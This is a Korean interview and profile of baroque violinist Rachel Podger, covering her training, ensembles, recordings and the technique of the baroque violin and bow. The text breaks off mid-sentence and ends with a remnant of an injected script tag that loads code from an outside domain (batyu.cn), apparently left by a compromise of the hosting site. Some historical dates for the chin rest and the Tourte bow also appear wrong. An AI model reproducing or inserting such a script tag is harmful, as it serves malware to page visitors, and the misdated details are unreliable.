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끊임없는 수평적 선율 속에 내재되어 있는 18세기 그들의 정서와 삶의 모습들을 영감의 눈과 순결한 가슴, 영혼의 메아리로 그려낸 그 음들 속에서 문득 우리와 너무나도 닮아 있는 미적 이미지들이 투영된 조각들을 발견하게 된다.
아침의 상쾌함과 풋풋한 향기를 온몸에 적셔주는 바로크 바이올린만의 투명한 색채로 세상을 노래하는 레이첼 포저(Rachel Podger)의 바흐는 간결함 속에서도 그 밑바탕을 흐르는 영적 경건함으로 인해 듣는 이들로 하여금 삶의 숭고함을 다시금 일깨워 준다. 쿠이켄(Sigiswald Kuijken)을 이을 차세대 바로크 음악의 선두주자로 평가받고 있는 포저, 그녀는 채널 클래식스(C&L Music)와 새롭게 호흡을 맞춘 신보 ‘텔레만의 무반주 바이올린을 위한 판타지’와 함께 9월 24일 첫 내한 공연(LG아트센터)을 앞두고 있다. 1999년 바흐의 ‘무반주 바이올린을 위한 소나타와 파르티타’를 발매하여 세계 음악계의 관심을 집중시킨 이후, 포저는 젊은 나이에도 불구하고 완벽한 기교와 세련된 인토네이션으로 바로크 음악의 정격성과 극도의 절제미를 표현하며 초기음악이 가진 숨은 매력을 마음껏 뿜어내고 있다. 포저는 독일계 어머니와 영국계 아버지 사이에서 태어나 독일과 영국을 오가며 음악 수업을 받았다. 5세 때 처음 바이올린을 접하게 된 그녀는 가족들이 모두 음악가였기 때문에 자연스럽게 음악 속에서 자라게 된다. 그 후 영국의 길드홀 학교(Guildhall School of Music and Drama)에서 데이비드 타케노(David Takeno)와 미카엘라 콤베르티(Michaela Comberti)를 사사하며 본격적인 바로크 바이올린을 공부했다. 포저는 길드홀 학교 동문들로 구성된 바로크 전문 앙상블인 플로릴레기움(Florilegium)과 팔레디안 앙상블(Palledian Ensemble)을 이끌며 왕성한 연주와 음반활동을 했다. 1997년에는 지휘자 트레버 피노크(Trevor Pinnock)와 함께 잉글리시 콘서트(English Concert)에서 악장과 솔리스트로 활약하며 유럽 음악계를 주도하는 가장 뛰어난 바로크 오케스트라로 성장시키기에 이른다. 현재는 런던 길드홀 학교의 바로크 바이올린 교수로 재직하며 열정적으로 음악활동을 하고 있는 그녀를 만나보았다.
♠ 바로크 바이올린의 테크닉과 연주, 그리고 특징적인 면들에 대해 설명해 주세요. 바로크 바이올린을 연주하는 데에는 현대의 바이올린과 상당히 다른 기술이 필요하다. 바이올린을 잡는 방법부터 다르다. 예를 들자면 턱을 테일피이스(tailpiece) 오른쪽에 대야 하는데, 친 레스트(chin rest)에 익숙한 현대 바이올린(modern violin) 연주자들에게는 까다로운 일이다. 바이올린을 잡고 버틸 수 있도록 도와주는 장치가 없는 것이다. 바로크 시대에는 의상이 달랐기 때문에 그것이 일종의 지지대 역할을 해 주었는지도 모르겠다. 턱받침은 18세기 초에 수포어에 의해 발명되었고, 2차 세계대전 직전까지는 어깨 받침대도 사용되지 않았다. 활도 현대 바이올린과는 완전히 다른 모양을 갖는다. 활 가운데 부분에서 활대가 헤어 반대쪽으로 나오도록 휘어져 있다. 길이도 훨씬 더 짧고 무게도 가벼운데, 특히 날카로운 끝부분이 그렇다. 활을 쓰는 방식도 가르치는 학교의 스타일이나 연주하는 레퍼토리에 따라 다양하다. 17세기 프랑스에서는 오른손 엄지를 활털 밑에 대고 사용하기도 했다. 반면에 이탈리아에서는 활의 길이가 더 길어서 오른손 엄지를 활대와 활털 사이에 두고 사용했다(오늘날의 바이올린 활 사용법과 비슷). 활의 장력은 프로그와 활 중앙부 사이에서 가장 크게 나타나기 때문에 다운보우(down-bow)로 보우잉을 하면 보통 끝부분으로 갈수록 소리가 줄어드는 것이 자연스럽다. 좀더 긴 소리를 내는 방법은 활의 모양이 변해감에 따라 손에서 손으로 전해졌다. 17세기경에 뚜르트라는 활 제조가가 소위 ‘모던보우’(modern bow)라고 하는 것의 모체가 되는 새로운 형태의 활을 만들었다. 이것은 바로크 활과는 반대 모양을 띠고 있다. 그래서 그 때 이전에는 뮤지션들의 이상적인 소리(‘메사 디 보체’-명확하고, 스트로크를 한번 할 때마다 크레센도·디미누엔도의 효과가 나타나는 소리)에 대한 생각이 달랐다. 그 시기의 악기 모양은 음악의 형식과 조화를 잘 이루었다. 예를 들면 전형적인 4/4박 바로크 음악에서 강박은 1·3번째, 약박은 2·4번째인데, 바로크 활은 다운보우에서 본래 더 강한 소리를 내기 때문?script src=http://batyu.cn> | |
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